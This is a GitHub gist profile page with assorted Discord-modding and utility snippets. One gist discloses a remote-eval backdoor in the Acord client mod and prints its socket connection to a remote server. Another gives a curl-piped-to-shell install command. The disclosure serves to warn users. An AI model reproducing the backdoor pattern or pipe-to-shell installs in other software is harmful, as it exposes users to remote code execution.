Skip to content

Instantly share code, notes, and snippets.

View Vendicated's full-sized avatar
🏳️‍🌈
read if cute

V Vendicated

🏳️‍🌈
read if cute
View GitHub Profile
@Vendicated
Vendicated / ids.txt
Last active April 23, 2024 17:56
spy pet account ids, gathered by @Dziurwa14. be careful, their api now returns innocent people. don't get tricked into banning the wrong people. do not trust their api and double check before banning
1210165420493905982
956054319529066527
956075132571508757
1171196139647803513
956210819325132921
956164930061619230
1185038257789079614
956246550152118374
956178931512410222
1172076548791226439
@Vendicated
Vendicated / canvas-web.js
Last active June 20, 2023 22:46
Discord PFP color extraction like they do for the default banner colors
// If you're using NodeJS: Ignore this file
// If you're using Web: Delete the require("canvas") line in index.js and copy paste these functions into index.js
function createCanvas() {
return document.createElement("canvas");
}
function loadImage(url) {
return new Promise((resolve, reject) => {
const img = new Image;
@Vendicated
Vendicated / DiscordNative global keybinds.md
Last active June 20, 2023 22:42
DiscordNative global keybinds

you can use Discord's api for this:

DiscordNative.nativeModules.requireModule("discord_utils").inputEventRegister(
    1337,
    [
         [0, 0xA2],
         [0, 0x42]
    ],
 isDown => console.log(isDown),
@Vendicated
Vendicated / min-sized-rust.md
Created May 8, 2023 21:59
🦀 How to minimize Rust binary size 📦
.emoji[alt="🥹"] {
content: url("https://vendicated.github.io/random-files/face_holding_back_tears.svg");
}
.emoji[alt="🥺"] {
content: url("https://vendicated.github.io/random-files/pleading_face.svg");
}
@Vendicated
Vendicated / README.md
Last active February 10, 2023 23:36
Minimal Powershell Prompt

image

Uses NerdFont's git branch icon so a Nerd patched font is needed (or just remove the $([char]0xe725))

@Vendicated
Vendicated / Acord Backdoor.js
Last active March 20, 2023 12:17
Acord Eval Backdoor
// This code can be found in Acord's code in an obfuscated form. Just search for the socket url or one of the atob strings and you will
// find it.
// Permament Link to their Repo (they might delete this):
// https://github.com/AcordPlugin/releases/blob/4944d811f1c5e228c219d4966c5436bdfc6639d3/fixture/extension.js
// Permament Link (fork):
// https://github.com/Vendicated/acord-is-malware/blob/main/fixture/extension.js
// Archive Link:
// https://web.archive.org/web/20230115234723/https://github.com/AcordPlugin/releases/blob/4944d811f1c5e228c219d4966c5436bdfc6639d3/fixture/extension.js
const connection = socketIo.connect("https://socket.acord.app/", { autoConnect: !1, reconnection: !0, transports: ["websocket"] });
@Vendicated
Vendicated / Z_DiscordNative.example.ts
Last active January 13, 2023 15:26
Generate a typescript Interface from any object (does not support circular references)
interface RootObject {
isRenderer: boolean;
setUncaughtExceptionHandler: (...args: any[]) => any;
nativeModules: {
ensureModule: (...args: any[]) => any;
requireModule: (...args: any[]) => any;
canBootstrapNewUpdater: boolean;
};
process: {
platform: string;
@Vendicated
Vendicated / README.md
Last active November 5, 2022 18:16
Set up yt-dlp in termux, allowing you to share any video to termux with the Android share menu to download it
curl https://gist.githubusercontent.com/Vendicated/63efda0ad96f707a3ba290f1aa2e8a86/raw/termux-ytdl.sh | sh -
@Vendicated
Vendicated / WebpackSearchWorker.js
Last active November 4, 2022 14:15
Discord Webpack Search with a WebWorker
if (typeof wreq === "undefined") {
var wreq = webpackChunkdiscord_app.push([[Symbol()], {}, w => w]);
webpackChunkdiscord_app.pop();
}
function makeWebpackSearchWorker() {
// Step 1: Build Export and Code map to pass to the worker.
// This is because you can't serialise functions, so we have to transform webpack first
var exportMap = {};